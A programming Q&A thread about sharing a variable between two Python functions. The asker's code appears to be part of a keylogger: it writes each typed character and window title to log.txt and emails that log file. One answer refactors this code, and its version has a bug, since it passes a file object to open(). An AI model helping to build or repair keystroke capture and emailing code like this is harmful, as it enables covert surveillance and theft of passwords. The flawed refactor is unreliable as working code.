Use a function variable in another python function

Asked

Viewed 2,113 times

0

I want to pull what is in the variable 'file' in the function 'Function' and play in the filename of the function 'send_email', how can I do this?

def function(event):
            arquivo = open('log.txt', 'a')
            global janela
            if event.WindowsName != janela:
                janela = event.WindowsName
                arquivo.write('\n'+janela+' - ' + str(event.Time) + '\n')
            arquivo.write(chr(event.Ascii))
            arquivo.close()

def send_email():
        body = 'Logs file uploaded successfully!'
        msg.attach(MIMEText(body,'plain'))
        filename=arquivo
        attachment = open(filename,'rb')
  • You can try setting the 'file' variable to global: global arquivo.

  • 1

    Thanks. I got it here.

  • 1

    The correct answer is: the way it is, you shouldn’t do it. If you’re closing the file on function, why would I use it in send_email?

1 answer

5

Avoid using global variables unnecessarily. This only harms its application, especially when it needs to be maintained, because a variable can magically change value from one line to the other because a function, somewhere in the project, imported it from the global scope and changed it. If many functions do this, then you probably won’t know until what function did it.

Since they are two extremely simple functions, the best way is to import into the local scope of the function through the arguments of the function.

def function(event, janela):
    arquivo = open('log.txt', 'a')
    with open(arquivo, 'a') as stream:
        if event.WindowsName != janela:
            janela = event.WindowsName
            stream.write('\n'+janela+' - ' + str(event.Time) + '\n')
        stream.write(chr(event.Ascii))
    return janela

def send_email(arquivo, msg):
    body = 'Logs file uploaded successfully!'
    msg.attach(MIMEText(body,'plain'))
    attachment = open(arquivo, 'rb')

In function send_email there’s still that object msg which appeared magically in your code, so include as argument as well. Incidentally, when you start to rely heavily on needing to change the overall scope in functions, it’s clearly a clue that you need to create a class to act as this scope and retain the state you want between function calls.

But a priori, consider that each time you use a global variable a panda dies in China - and we all like pandas (Firefox is not so used for nothing). Do it at least until you are fully aware of what you are doing and really understand the need.

Browser other questions tagged

You are not signed in. Login or sign up in order to post.